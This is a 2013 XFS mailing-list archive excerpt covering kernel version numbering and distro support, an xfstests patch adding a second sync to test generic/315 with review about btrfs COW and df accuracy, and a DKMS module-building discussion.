#natog +1 727 > 647 1274 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs -- Jay R. Ashworth Baylink jra@baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com 2000 Land Rover DII St Petersburg FL USA #natog +1 727 647 1274 From sandeen@sandeen.net Mon Jul 29 12:06:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 768057F3F for ; Mon, 29 Jul 2013 12:06:00 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0C5B2AC005 for ; Mon, 29 Jul 2013 10:05:59 -0700 (PDT) X-ASG-Debug-ID: 1375117557-04bdf02f211e75a0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id F2ZiQwgAsH7cTVjn for ; Mon, 29 Jul 2013 10:05:58 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-249-49.hsd1.mn.comcast.net [98.240.249.49]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 347906824C30; Mon, 29 Jul 2013 12:05:57 -0500 (CDT) Message-ID: <51F6A0F3.8030604@sandeen.net> Date: Mon, 29 Jul 2013 12:05:55 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Jay Ashworth CC: xfs@oss.sgi.com Subject: Re: A short digression on FOSS (Re: understanding speculative preallocation) References: <15781090.2540.1375111802121.JavaMail.root@benjamin.baylink.com> X-ASG-Orig-Subj: Re: A short digression on FOSS (Re: understanding speculative preallocation) In-Reply-To: <15781090.2540.1375111802121.JavaMail.root@benjamin.baylink.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1375117557 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137411 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 7/29/13 10:30 AM, Jay Ashworth wrote: > ----- Original Message ----- >> From: "Eric Sandeen" > >>>> From: "Dave Chinner" >>> >>>> The "version" of XFS that you are running is that of the >>>> kernel you are running. i.e. 2.6.32-279.x.y or 2.6.32-358.x.y. >>> >>> Those aren't kernel versions; those are kernel *package* versions. >> >> Those are RHEL kernel version numbers, which 100% uniquely identify >> the code contained in those kernels. > > So how, Eric, would that help, say, SuSE users -- Well, it doesn't... SuSE helps SuSE users. And I'm not being glib, that's just how it works. > which the XFS website makes > special note to point out that there's a specific agreement in place to > support. Even SLES users vice openSUSE, though the XFS.org website doesn't > make that distinction. xfs.org is a public wiki run by a 3rd party, so I can't speak to the accuracy of statements made about support agreements between SGI & SuSE, if any. So I guess I have no useful insight there. > I'm sticking with "those are kernel package versions", and I was yelled > at the other day because I was interested in things that weren't "mainline > kernel versions". RHEL kernels are the *best available example* of "not > a mainline kernel version", so I find these conflicting reports most > conflicting. You're welcome to be interested all you want, but availability of support from either SGI (not related to CentOS at all), upstream (focused on new work, not older distros), or Red Hat (who sells support, vs. gives it away, in order to pay the people to keep maintaining the distro that CentOS is more than welcome to pick up, rebuild, & ship, and support or not as *they* see fit). You'll find that you usually get very good support for XFS issues & questions related to near-current mainline kernels. But people who can spend time & effort supporting free distros containing custom codebases are going to be few & far between. The closer you get to mainline, the more willing & able the developers will be to help you out. The further you get into custom distro kernels, the more it becomes the responsibility of that distro - CentOS, in your case, and they pretty explicitly tell you what you can expect for support from them. I'm not trying to be flippant or glib or antagonistic here, that's just the way things are structured; you chose CentOS, and "CentOS is designed for people who need an enterprise class OS without the cost or support of the prominent North American Enterprise Linux vendor." >>> Kernel versions are w.x.y or w.x.y.z. >> >> ^Upstream. > > "Mainline". Which was not my choice of term. (Ok, mainline; I was just differentiating between RHEL & Linux.) -Eric > Cheers, > -- jra > From JBacik@fusionio.com Mon Jul 29 12:21:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 172787F3F for ; Mon, 29 Jul 2013 12:21:11 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id EBF548F8037 for ; Mon, 29 Jul 2013 10:21:07 -0700 (PDT) X-ASG-Debug-ID: 1375118466-04bdf02f211e87c0001-NocioJ Received: from dkim1.fusionio.com (dkim1.fusionio.com [66.114.96.53]) by cuda.sgi.com with ESMTP id 0CJFi2fnIGqmYm9o (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 29 Jul 2013 10:21:06 -0700 (PDT) X-Barracuda-Envelope-From: JBacik@fusionio.com X-Barracuda-Apparent-Source-IP: 66.114.96.53 Received: from mx2.fusionio.com (unknown [10.101.1.160]) by dkim1.fusionio.com (Postfix) with ESMTP id 21D627C0427 for ; Mon, 29 Jul 2013 11:21:06 -0600 (MDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fusionio.com; s=default; t=1375118466; bh=OXu8FRdVknG9YL1UHtafUhgxr5YFIk6P6ZgnuaTLrU0=; h=From:To:Subject:Date; b=JkYhICpgmo29cLuRCPyIZ0O7oNN1aE7gkmFu6tCUSoVvUQJMhJ9sZ3ttloaC6wloP q9kJfLqU7uO4BZRGrRKLIL72RqdVQgc7eeLzS8qhTg3vnQgaOa9P8tbnRnBvno7aML eNs5VHDQ7LiLbjZvRdffHkV9ZJIHG6Lkpx43oXJg= Received: from CAS1.int.fusionio.com (cas1.int.fusionio.com [10.101.1.40]) by mx2.fusionio.com with ESMTP id FHEgJKmFX4m1rABv (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO); Mon, 29 Jul 2013 11:21:05 -0600 (MDT) Received: from localhost (10.101.1.160) by mail.fusionio.com (10.101.1.40) with Microsoft SMTP Server (TLS) id 14.3.123.3; Mon, 29 Jul 2013 11:21:04 -0600 From: Josef Bacik To: , , Subject: [PATCH] xfstests: generic/315: add one more sync and more output Date: Mon, 29 Jul 2013 13:21:03 -0400 X-ASG-Orig-Subj: [PATCH] xfstests: generic/315: add one more sync and more output Message-ID: <1375118463-29654-1-git-send-email-jbacik@fusionio.com> X-Mailer: git-send-email 1.7.7.6 MIME-Version: 1.0 Content-Type: text/plain X-Originating-IP: [10.101.1.160] X-Virus-Scanned: by bsmtpd at fusionio.com X-Barracuda-Connect: dkim1.fusionio.com[66.114.96.53] X-Barracuda-Start-Time: 1375118466 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137411 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature So df in btrfs is tricky at best, and relying on it for accurate information is not great, but it's the best way to verify this test. So we need to add another sync to make sure the pinned blocks are all freed up and the df space is really really accurate, otherwise we end up with this test failling because the df after the test is slightly off (in my case it was like 36kb off). With this patch I'm not seeing random failures of this test. Thanks, Signed-off-by: Josef Bacik --- tests/generic/315 | 3 ++- 1 files changed, 2 insertions(+), 1 deletions(-) diff --git a/tests/generic/315 b/tests/generic/315 index 7cfc40d..7c55b8a 100644 --- a/tests/generic/315 +++ b/tests/generic/315 @@ -70,10 +70,11 @@ fsize=`ls -l $TEST_DIR/testfile.$seq | awk '{print $5}'` # Truncate the file size back to 0 truncate -s 0 $TEST_DIR/testfile.$seq sync +sync # Preallocated disk space should be released avail_done=`df -P $TEST_DIR | awk 'END {print $4}'` -[ "$avail_done" -eq "$avail_begin" ] || _fail "Available disk space ($avail_done KiB)" +[ "$avail_done" -eq "$avail_begin" ] || _fail "Available disk space ($avail_done KiB) wanted ($avail_begin KiB)" # success, all done exit -- 1.7.7.6 From sandeen@redhat.com Mon Jul 29 12:31:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0ECC97F3F for ; Mon, 29 Jul 2013 12:31:12 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id A42B48F8033 for ; Mon, 29 Jul 2013 10:31:12 -0700 (PDT) X-ASG-Debug-ID: 1375119071-04cbb02c3b1e2db0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id r2h1GHy7A3oe0NaP for ; Mon, 29 Jul 2013 10:31:11 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6THV7eU032169 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 29 Jul 2013 13:31:08 -0400 Received: from Liberator.local (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6THV64N017843 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Mon, 29 Jul 2013 13:31:07 -0400 Message-ID: <51F6A6DA.3080102@redhat.com> Date: Mon, 29 Jul 2013 12:31:06 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Josef Bacik CC: linux-btrfs@vger.kernel.org, xfs@oss.sgi.com, jeff.liu@oracle.com Subject: Re: [PATCH] xfstests: generic/315: add one more sync and more output References: <1375118463-29654-1-git-send-email-jbacik@fusionio.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: generic/315: add one more sync and more output In-Reply-To: <1375118463-29654-1-git-send-email-jbacik@fusionio.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1375119071 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 7/29/13 12:21 PM, Josef Bacik wrote: > So df in btrfs is tricky at best, and relying on it for accurate information is > not great, but it's the best way to verify this test. So we need to add another > sync to make sure the pinned blocks are all freed up and the df space is really > really accurate, otherwise we end up with this test failling because the df > after the test is slightly off (in my case it was like 36kb off). With this > patch I'm not seeing random failures of this test. Thanks, Honest question: does one more sync make this deterministic, or is it a best-effort, um, hack? -Eric > Signed-off-by: Josef Bacik > --- > tests/generic/315 | 3 ++- > 1 files changed, 2 insertions(+), 1 deletions(-) > > diff --git a/tests/generic/315 b/tests/generic/315 > index 7cfc40d..7c55b8a 100644 > --- a/tests/generic/315 > +++ b/tests/generic/315 > @@ -70,10 +70,11 @@ fsize=`ls -l $TEST_DIR/testfile.$seq | awk '{print $5}'` > # Truncate the file size back to 0 > truncate -s 0 $TEST_DIR/testfile.$seq > sync > +sync > > # Preallocated disk space should be released > avail_done=`df -P $TEST_DIR | awk 'END {print $4}'` > -[ "$avail_done" -eq "$avail_begin" ] || _fail "Available disk space ($avail_done KiB)" > +[ "$avail_done" -eq "$avail_begin" ] || _fail "Available disk space ($avail_done KiB) wanted ($avail_begin KiB)" > > # success, all done > exit > From sandeen@sandeen.net Mon Jul 29 12:38:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 04C787F3F for ; Mon, 29 Jul 2013 12:38:32 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id CAEEE304051 for ; Mon, 29 Jul 2013 10:38:28 -0700 (PDT) X-ASG-Debug-ID: 1375119507-04bdf02f231e99c0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id aGBxpM2wTFZcsv3x for ; Mon, 29 Jul 2013 10:38:27 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-249-49.hsd1.mn.comcast.net [98.240.249.49]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id A136C6824C30; Mon, 29 Jul 2013 12:38:26 -0500 (CDT) Message-ID: <51F6A891.7070608@sandeen.net> Date: Mon, 29 Jul 2013 12:38:25 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Eric Sandeen CC: Josef Bacik , jeff.liu@oracle.com, linux-btrfs@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: generic/315: add one more sync and more output References: <1375118463-29654-1-git-send-email-jbacik@fusionio.com> <51F6A6DA.3080102@redhat.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: generic/315: add one more sync and more output In-Reply-To: <51F6A6DA.3080102@redhat.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1375119507 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137411 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On 7/29/13 12:31 PM, Eric Sandeen wrote: > Honest question: does one more sync make this deterministic, or is it a best-effort, um, hack? I'm not quite sure why even 1 sync is needed. :( I'm not sure what bug this is trying to test; if you need 2 syncs for global space stats to accurately reflect the fact that you chopped off the end of a block, maybe that's ... still a bug? Or if it's just the big-hammer question of "does the truncated space *ever* get freed?" then maybe umount/remount/check would tell you that more definitively. -Eric From tinguely@sgi.com Mon Jul 29 13:13:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A9E127F3F for ; Mon, 29 Jul 2013 13:13:11 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6D4A630406B; Mon, 29 Jul 2013 11:13:08 -0700 (PDT) Message-ID: <51F6B0B4.1070508@sgi.com> Date: Mon, 29 Jul 2013 13:13:08 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 45/49] xfs: avoid CIL allocation during insert References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-46-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-46-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:25, Dave Chinner wrote: > From: Dave Chinner > > Now that we have the size of the log vector that has been allocated, > we can determine if we need to allocate a new log vector for > formatting and insertion. We only need to allocate a new vector if > it won't fit into the existing buffer. > > However, we need to hold the CIL context lock while we do this so > that we can't race with a push draining the currently queued log > vectors. It is safe to do this as long as we do GFP_NOFS allocation > to avoid avoid memory allocation recursing into the filesystem. > Hence we can safely overwrite the existing log vector on the CIL if > it is large enough to hold all the dirty regions of the current > item. > > Signed-off-by: Dave Chinner > --- back to the CIl commit opt series now that the log space leak has been found.. Looks good - avoid allocation if dirtying existing dirty chunks. Remove the IOP_PIN Reviewed-by: Mark Tinguely From sgi-linux-xfs@m.gmane.org Mon Jul 29 13:21:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D71007F3F for ; Mon, 29 Jul 2013 13:21:41 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 56C26AC003 for ; Mon, 29 Jul 2013 11:21:37 -0700 (PDT) X-ASG-Debug-ID: 1375122095-04cb6c2e9d1e66d0001-w1Z2WR Received: from plane.gmane.org (plane.gmane.org [80.91.229.3]) by cuda.sgi.com with ESMTP id xZihrHThxUytKzB3 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 29 Jul 2013 11:21:36 -0700 (PDT) X-Barracuda-Envelope-From: sgi-linux-xfs@m.gmane.org X-Barracuda-Apparent-Source-IP: 80.91.229.3 Received: from list by plane.gmane.org with local (Exim 4.69) (envelope-from ) id 1V3s4c-0002AJ-NZ for linux-xfs@oss.sgi.com; Mon, 29 Jul 2013 20:21:34 +0200 Received: from wombat.san-francisco.ca.us ([75.101.60.140]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 29 Jul 2013 20:21:34 +0200 Received: from kkeller by wombat.san-francisco.ca.us with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 29 Jul 2013 20:21:34 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: linux-xfs@oss.sgi.com From: Keith Keller Subject: Re: A short digression on FOSS (Re: understanding speculative preallocation) Date: Mon, 29 Jul 2013 11:15:41 -0700 X-ASG-Orig-Subj: Re: A short digression on FOSS (Re: understanding speculative preallocation) Lines: 45 Message-ID: References: <20130729000247.GA13468@dastard> <32553786.2492.1375056392388.JavaMail.root@benjamin.baylink.com> <20130729024105.GC13468@dastard> <2m4hcax0nv.ln2@goaway.wombat.san-francisco.ca.us> <109D380F-F26C-4DA1-87DC-27466198AE22@sandeen.net> <2b9hcaxru.ln2@goaway.wombat.san-francisco.ca.us> <51F6705E.5040309@sandeen.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@ger.gmane.org X-Gmane-NNTP-Posting-Host: wombat.san-francisco.ca.us User-Agent: slrn/0.9.9p1 (Linux) X-Barracuda-Connect: plane.gmane.org[80.91.229.3] X-Barracuda-Start-Time: 1375122095 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137413 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2013-07-29, Eric Sandeen wrote: > On 7/28/13 11:57 PM, Keith Keller wrote: >> >> The current stable kernel is 3.10.4. Let's suppose that 3.10.5 comes >> out tomorrow with some interesting patches to fs/xfs. Is it possible >> using dkms to build the 3.10.5 version of the xfs module for a running >> 3.10.4 kernel? > > "Probably / Maybe" > > It really depends on what changed from 3.10.4 to 3.10.5, but odds are, > kernel interfaces did not change, so - probably fine. If not, you > get to keep all the pieces, etc. Sure. :) >> And if so, is there a way for the module to report its >> own version? > > Say it with me: there is no xfs module version. :) Well, wouldn't it be the same as the original kernel from which the code was ripped? So in the above hypothetical, one could say that the xfs "version" is 3.10.5. It's not *exactly*, of course, but if I were to say "I'm running kernel 3.10.4 with xfs built from 3.10.5 using DKMS" you'd probably know what I meant. You might then choose not to answer questions because I've gone too far off the reservation. Or, maybe, a different way of saying this is that the XFS version always matches the kernel version it comes from. Then if you use code from one kernel version in a different version it's at your own risk; one of the consequences is that you need to document this discrepancy yourself. > And taking kernel version X's xfs, and applying a bugfix patch, and > rebuilding it against the same kernel headers should be fine. Still > a little wizardry, but not bad for a kernel-savvy person. Is that all it takes to be considered "wizardry"? Back In My Day (TM) you had to mess with .config in order to get anything done! ;-) --keith -- kkeller@wombat.san-francisco.ca.us From JBacik@fusionio.com Mon Jul 29 13:25:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 880747F3F for ; Mon, 29 Jul 2013 13:25:29 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3AB6B304051 for ; Mon, 29 Jul 2013 11:25:29 -0700 (PDT) X-ASG-Debug-ID: 1375122327-04bdf02f201ec0e0001-NocioJ Received: from dkim1.fusionio.com (dkim1.fusionio.com [66.114.96.53]) by cuda.sgi.com with ESMTP id bvUNhmTtJuqHCGuc (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 29 Jul 2013 11:25:28 -0700 (PDT) X-Barracuda-Envelope-From: JBacik@fusionio.com X-Barracuda-Apparent-Source-IP: 66.114.96.53 Received: from mx1.fusionio.com (unknown [10.101.1.160]) by dkim1.fusionio.com (Postfix) with ESMTP id AAF097C0645 for ; Mon, 29 Jul 2013 12:25:27 -0600 (MDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fusionio.com; s=default; t=1375122327; bh=OzfNznukr4GyQa1FlOZGZ064IC6Vwcen8eBg8Bm1mEw=; h=Date:From:To:CC:Subject:References:In-Reply-To; b=kqWJIWVw0agm9ewDqMRI937NyQ5lOebEqWxcHXTRI847O5Xm86aJKz9x8qwCS3ic+ 4xRp5CHLYWbaljKahuFpO292V9niAQgUY1CZ9MI3g8tnusd7ozat0RZ989E0DStbHa 7BdScTNjF24QNd++32K13aCznDIFHKhGxzvZ/6J4= Received: from CAS2.int.fusionio.com (cas2.int.fusionio.com [10.101.1.41]) by mx1.fusionio.com with ESMTP id i6KG9bHO1pOVyEIs (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO); Mon, 29 Jul 2013 12:25:27 -0600 (MDT) Received: from localhost (10.101.1.160) by mail.fusionio.com (10.101.1.41) with Microsoft SMTP Server (TLS) id 14.3.123.3; Mon, 29 Jul 2013 12:25:26 -0600 Date: Mon, 29 Jul 2013 14:25:25 -0400 From: Josef Bacik To: Eric Sandeen CC: Eric Sandeen , Josef Bacik , , , Subject: Re: [PATCH] xfstests: generic/315: add one more sync and more output Message-ID: <20130729182525.GD24583@localhost.localdomain> X-ASG-Orig-Subj: Re: [PATCH] xfstests: generic/315: add one more sync and more output References: <1375118463-29654-1-git-send-email-jbacik@fusionio.com> <51F6A6DA.3080102@redhat.com> <51F6A891.7070608@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Disposition: inline In-Reply-To: <51F6A891.7070608@sandeen.net> User-Agent: Mutt/1.5.21 (2011-07-01) X-Originating-IP: [10.101.1.160] X-Virus-Scanned: by bsmtpd at fusionio.com X-Barracuda-Connect: dkim1.fusionio.com[66.114.96.53] X-Barracuda-Start-Time: 1375122328 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137413 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Mon, Jul 29, 2013 at 12:38:25PM -0500, Eric Sandeen wrote: > On 7/29/13 12:31 PM, Eric Sandeen wrote: > > Honest question: does one more sync make this deterministic, or is it a best-effort, um, hack? > > I'm not quite sure why even 1 sync is needed. :( > Because of COW, we won't free up the data space until the transaction commits because it is pinned, so doing the truncate and then immediately doing df will show no difference. > I'm not sure what bug this is trying to test; if you need 2 syncs for global space stats to accurately reflect the fact that you chopped off the end of a block, maybe that's ... still a bug? > No, it's just COW for you, in this case we do our sync, stuff gets updated and some metadata is cow'ed for once reason or another and now df doesn't quite match up (in my case it was off by like 9 blocks), doing a second sync clears these out and then df's match. > Or if it's just the big-hammer question of "does the truncated space *ever* get freed?" then maybe umount/remount/check would tell you that more definitively. Yeah but I think I'll do what you suggested on IRC and just use _within_range. Thanks, Josef From JBacik@fusionio.com Mon Jul 29 13:56:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C60367F3F for ; Mon, 29 Jul 2013 13:56:00 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id B214C304070 for ; Mon, 29 Jul 2013 11:56:00 -0700 (PDT) X-ASG-Debug-ID: 1375124159-04cbb02c3b1e83e0001-NocioJ Received: from dkim2.fusionio.com (dkim2.fusionio.com [66.114.96.54]) by cuda.sgi.com with ESMTP id BRkENOXNIZU2S22A (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 29 Jul 2013 11:55:59 -0700 (PDT) X-Barracuda-Envelope-From: JBacik@fusionio.com X-Barracuda-Apparent-Source-IP: 66.114.96.54 Received: from 